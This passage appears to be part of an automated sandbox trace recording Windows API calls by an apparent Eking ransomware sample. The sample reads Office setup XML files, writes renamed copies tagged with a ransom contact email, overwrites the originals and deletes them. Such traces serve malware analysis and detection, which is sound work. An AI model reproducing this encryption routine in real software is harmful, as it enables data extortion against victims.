Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0276.791] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.791] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0276.791] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xa40, lpOverlapped=0x0) returned 1 [0276.794] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xa50, lpOverlapped=0x0) returned 1 [0276.795] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.795] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.795] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.795] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xa40, lpOverlapped=0x0) returned 1 [0276.795] FlushFileBuffers (hFile=0xc0) returned 1 [0276.798] FlushFileBuffers (hFile=0x178) returned 1 [0276.804] CloseHandle (hObject=0xc0) returned 1 [0276.804] CloseHandle (hObject=0x178) returned 1 [0276.805] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0276.806] SetEvent (hEvent=0xe0) returned 1 [0276.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0276.807] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1565) returned 1 [0276.807] CloseHandle (hObject=0x178) returned 1 [0276.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0276.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0276.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0276.808] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.808] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0276.808] ReadFile (in: hFile=0x178, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x61d, lpOverlapped=0x0) returned 1 [0276.814] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x620, lpOverlapped=0x0) returned 1 [0276.815] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.815] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.815] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.815] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x61d, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x61d, lpOverlapped=0x0) returned 1 [0276.816] FlushFileBuffers (hFile=0x178) returned 1 [0276.819] FlushFileBuffers (hFile=0xc0) returned 1 [0276.821] CloseHandle (hObject=0x178) returned 1 [0276.822] CloseHandle (hObject=0xc0) returned 1 [0276.823] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0276.824] SetEvent (hEvent=0xe0) returned 1 [0276.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0276.825] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=2296) returned 1 [0276.825] CloseHandle (hObject=0xc0) returned 1 [0276.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0276.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0276.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0276.826] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.826] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0276.832] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x8f8, lpOverlapped=0x0) returned 1 [0276.833] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x900, lpOverlapped=0x0) returned 1 [0276.834] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.834] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.835] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.835] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x8f8, lpOverlapped=0x0) returned 1 [0276.835] FlushFileBuffers (hFile=0xc0) returned 1 [0276.838] FlushFileBuffers (hFile=0x1a4) returned 1 [0276.840] CloseHandle (hObject=0xc0) returned 1 [0276.840] CloseHandle (hObject=0x1a4) returned 1 [0276.841] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0276.842] SetEvent (hEvent=0xe0) returned 1 [0276.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0276.843] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=913) returned 1 [0276.843] CloseHandle (hObject=0x1a4) returned 1 [0276.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0276.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0276.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0276.844] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.844] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0276.848] ReadFile (in: hFile=0x1a4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x391, lpOverlapped=0x0) returned 1 [0276.850] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x3a0, lpOverlapped=0x0) returned 1 [0276.851] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.851] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.851] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.851] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x391, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x391, lpOverlapped=0x0) returned 1 [0276.851] FlushFileBuffers (hFile=0x1a4) returned 1 [0276.854] FlushFileBuffers (hFile=0x1b4) returned 1 [0276.855] CloseHandle (hObject=0x1a4) returned 1 [0276.856] CloseHandle (hObject=0x1b4) returned 1 [0276.856] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0276.857] SetEvent (hEvent=0xe0) returned 1 [0276.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0276.858] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1452) returned 1 [0276.858] CloseHandle (hObject=0x1b4) returned 1 [0276.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0276.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0276.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0276.858] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.858] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0276.859] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x5ac, lpOverlapped=0x0) returned 1 [0276.861] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x5b0, lpOverlapped=0x0) returned 1 [0276.862] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.863] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.863] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.863] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5ac, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x5ac, lpOverlapped=0x0) returned 1 [0276.863] FlushFileBuffers (hFile=0x1b4) returned 1 [0276.866] FlushFileBuffers (hFile=0x1a4) returned 1 [0276.867] CloseHandle (hObject=0x1b4) returned 1 [0276.867] CloseHandle (hObject=0x1a4) returned 1 [0276.868] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 1 [0276.869] SetEvent (hEvent=0xe0) returned 1 [0276.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0276.869] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1231) returned 1 [0276.869] CloseHandle (hObject=0x1a4) returned 1 [0276.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0276.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0276.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0276.870] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.870] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0276.872] ReadFile (in: hFile=0x1a4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x4cf, lpOverlapped=0x0) returned 1 [0276.889] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x4d0, lpOverlapped=0x0) returned 1 [0276.890] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.891] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.891] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.891] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x4cf, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x4cf, lpOverlapped=0x0) returned 1 [0276.891] FlushFileBuffers (hFile=0x1a4) returned 1 [0276.894] FlushFileBuffers (hFile=0x1b4) returned 1 [0276.896] CloseHandle (hObject=0x1a4) returned 1 [0276.897] CloseHandle (hObject=0x1b4) returned 1 [0276.897] DeleteFileW (lpFileName="\\\\?\\C:\\Program 